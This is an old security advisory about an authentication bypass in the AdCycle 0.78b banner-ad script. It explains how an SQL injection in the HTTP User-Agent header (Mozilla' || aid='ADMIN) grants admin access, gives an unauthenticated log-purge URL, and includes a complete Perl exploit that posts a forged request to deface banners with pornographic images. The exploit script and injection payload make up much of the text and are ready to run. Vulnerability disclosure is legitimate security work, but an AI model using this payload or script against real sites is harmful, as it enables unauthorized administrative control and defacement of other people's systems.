COMMAND

    Adcycle

SYSTEMS AFFECTED

    Adcycle 0.78b

PROBLEM

    Neil K. found  following.  During  the setup of  adcycle using the
    ominous build.cgi, it creates several tables by default these are:

        mysql> show tables;
        +-------------------+
        | Tables_in_adcycle |
        +-------------------+
        | ad
        | adconfig
        | banners
        | counter
        | cp                           <= stores banner info etc.
        | dailylog
        | iplog
        | login                       <= stores login info
        | pools
        | real_log
        +-------------------+
        10 rows in set (0.00 sec)

    When a user  logs into the  script and authentication  takes place
    successfully, their data is entered into the login table:

        $sth = $dbh->do("INSERT INTO login (remote,aid,pid,agent,stime,erase) VALUES ($log_list)");

    the resulting table looks like this:

        mysql> select * from login;
        +-------------+-------+-----------+--------------------------------------+----------------------+
        | remote          | aid       | pid            | agent                                                  | stime
        +-------------+-------+-----------+-------------------------------------------------------------+
        | 169.254.0.2 | ADMIN | 8983632| Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:48|
        | 169.254.0.2 | ADMIN |  816479 | Mozilla/4.76 [en] (U; Linux 2.4 i686) | 2001-02-16 06:48:47|
        +-------------+-------+-----------+--------------------------------------+----------------------+
        2 rows in set (0.00 sec)

    Ok on with the problem, unfortunately there is no way to avoid the
    authentication of the  script, but i  might be able  to get around
    it.  Cutting the bull from  the *useful SQL queries in the  script
    you will find:

        AdLibrary.pm:
        sub db_login() {
        ==>
                if($verify==0){
                       $FOUND=0;
                       $sth = $dbh->prepare("SELECT * FROM login WHERE remote='$remote' && agent='$agent' ORDER BY stime DESC");
                       $sth->execute;
                       while(@login = $sth->fetchrow_array){
                            if(length($login[1])>1){
                                 $verify=1;
                                 $whoami=$login[1];
                                 $pid=$mixer;
                            }
                       }
                       $sth->finish();
                  }
        <==
        }

    Well as you can see this  piece of code handles the fact  that the
    user  may  have  already  logged  in using a valid username/passwd
    combination.   And  therefore  should  not  have  to enter his/her
    username and  password again  to use  the script.   Cos well  that
    would be  a total  pain the  arse wouldn'  tit?.   This clause  is
    epecially  useful  to  us  since  we  don't  really  know  a valid
    user/pass combination.

    Anyway whats  interesting abt  the above  u might  ask??  Well the
    use of  $agent in  the SQL  query is  most interesting  since this
    data is user defined.  Not *very easily but it can be user defined
    given the right circumstances.  Concidering that we now  literally
    own that  SQL query  given a  little thought  we could  easily get
    around the authentication and do whatever we wanted.  How??   Well
    by changing the agent field of the http request to:

        $agent = Mozilla' || aid='ADMIN

    Thus changing the query to:

        SELECT * FROM login WHERE (remote='127.0.0.1' && agent='Mozilla') || aid='ADMIN' ORDER BY stime DESC
                                                             ^                                                           ^                 ^
                                                                        brackets show 'logic bounds'                username wanted

    As you can see executing that query would return all records  with
    aid=ADMIN  very  useful  since  from  the original Perl code above
    would yeild $whoami=ADMIN.   Furthermore since the  authentication
    routine is  used in  every call  to the  script it  is possible to
    execute any  command that  a normal  ADMIN adcycle  user would  be
    able  to.    Which  is  well...   everything,  changing   banners,
    advertisers etc....

    Of course as you've probably guessed by now, this example assumes
    that the admin user is actually 'admin' as it is by default.  And
    also the presence of a record with aid='ADMIN' which unfortunately
    can only be present if the admin is either currently logged in or
    has been logged in and not logged out.  This is not that hard
    actually if you've used this script seriously you'd know this to
    be true.

    As an after thought, requesting:

        http://www.server.com/cgi-bin/adcycle/adcenter.cgi?task=purge_log&who=user

    will result in the login  table having all contents with  aid=user
    deleted from  it, therefore  logging that  user out  of the script
    requiring them to log back in.  Could be useful maybe?

    To  better  demostrate  this  problem  Neil  included a small perl
    script  exploit  that  will  alter  banner images, some alteration
    maybe needed for it to werk but hey it worked for me?!?.

    #!/usr/bin/perl
    #
    #Adcycle v0.78b eXploit
    #by neilk@alldas.de
    #
    #This script exploits a situation that allows a remote user to 'skip'
    #authentication if the legitimate Admin is logged in or has not logged
    #out properly since their last session.
    #
    #Shoutz to: tribunal, domz, all @alldas.de, mjm @gmc-online.de
    #	    code segments borrowed from teleh0r @doglover.com
    #
    #http://news.alldas.de.
    #
    
    use strict;
    use Socket;
    
    banner();
    
    if (@ARGV < 1) {
	    usage();
	    exit(1);
    }
    
    (my $target) = @ARGV;
    
    my $clickurl="http://www.fuqu.com";
    my $dir="cgi-bin/adcycle";
    my $imageurl="http://www.hornylesbians.com/pr0n.gif";
    my $cid="MT01";
    my $bannerid=1;
    my $agent = "Mozilla'||aid='ADMIN";
    
    my $url = =
    "click=$clickurl&image=$imageurl&pri=0&change=Update+Banner+1+Profile&option=AUTO&border=1&align=CENTER&target=_blank&alt=h0h0h0h0&btext=%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3EClick+Here+to+Visit+our+Sponsor%3C%2Fstrong%3E%3C%2Ffont%3E&html=%3C%21--+START+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%3Ccenter%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%0D%0A%3Cimg+src%3D%22$imageurl%22+width%3D468+height%3D60+border%3D1+ALT%3D%22Script+Kiddiot+Attack!%22%3E%3C%2Fa%3E%3Cbr%3E%0D%0A%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22+target%3D%22_top%22%3E%3Cfont+face%3D%22verdana%22+size%3D2%3E%3Cstrong%3Eantionlinesuxhard%3C%2Fstrong%3E%3C%2Ffont%3E%3C%2Fa%3E%0D%0A%3C%2Fcenter%3E%0D%0A+%3C%21--+END+ADCYCLE.COM+RICH+MEDIA+HTML+CODE+--%3E%0D%0A%0D%0A&null=%3Ca+href%3D%22http%3A%2F%2F$target%2F$dir%2Fadclick.cgi%3Fmanager%3Dadcycle.com%26cid%3D$cid%26b%3D1%26id%3DIDNUMBER%22%3E&task=update_banner_profile&cid=$cid&banner=$bannerid&pg=2";
    
    my $url_length = length($url);
    
    my $request=
    "POST /$dir/adcenter.cgi HTTP/1.0
    Connection: close
    User-Agent: $agent
    Host: $target
    Content-type: application/x-www-form-urlencoded
    Content-length: $url_length
    
    $url
    ";
    
    my $iaddr = inet_aton($target);
    my $paddr = sockaddr_in(80, $iaddr);
    my $proto = getprotobyname('tcp');
    
    socket(SOCKET, PF_INET, SOCK_STREAM, 'tcp');
    connect(SOCKET, $paddr);
    send(SOCKET,"$request", 0);
    close(SOCKET);
    
    exit(1);
    
    sub banner {
	    print "\nAdcycle eXploit for V0.77b/0.78b\n";
	    print "by Neilk (neilk\@alldas.de/neil\@alldas.de)\n";
	    print "http://www.alldas.de\n\n";
    }
    
    sub usage {
	    print "Usage:\tperl $0 <target ip>\n\n";
    }

SOLUTION

    Ask for patch.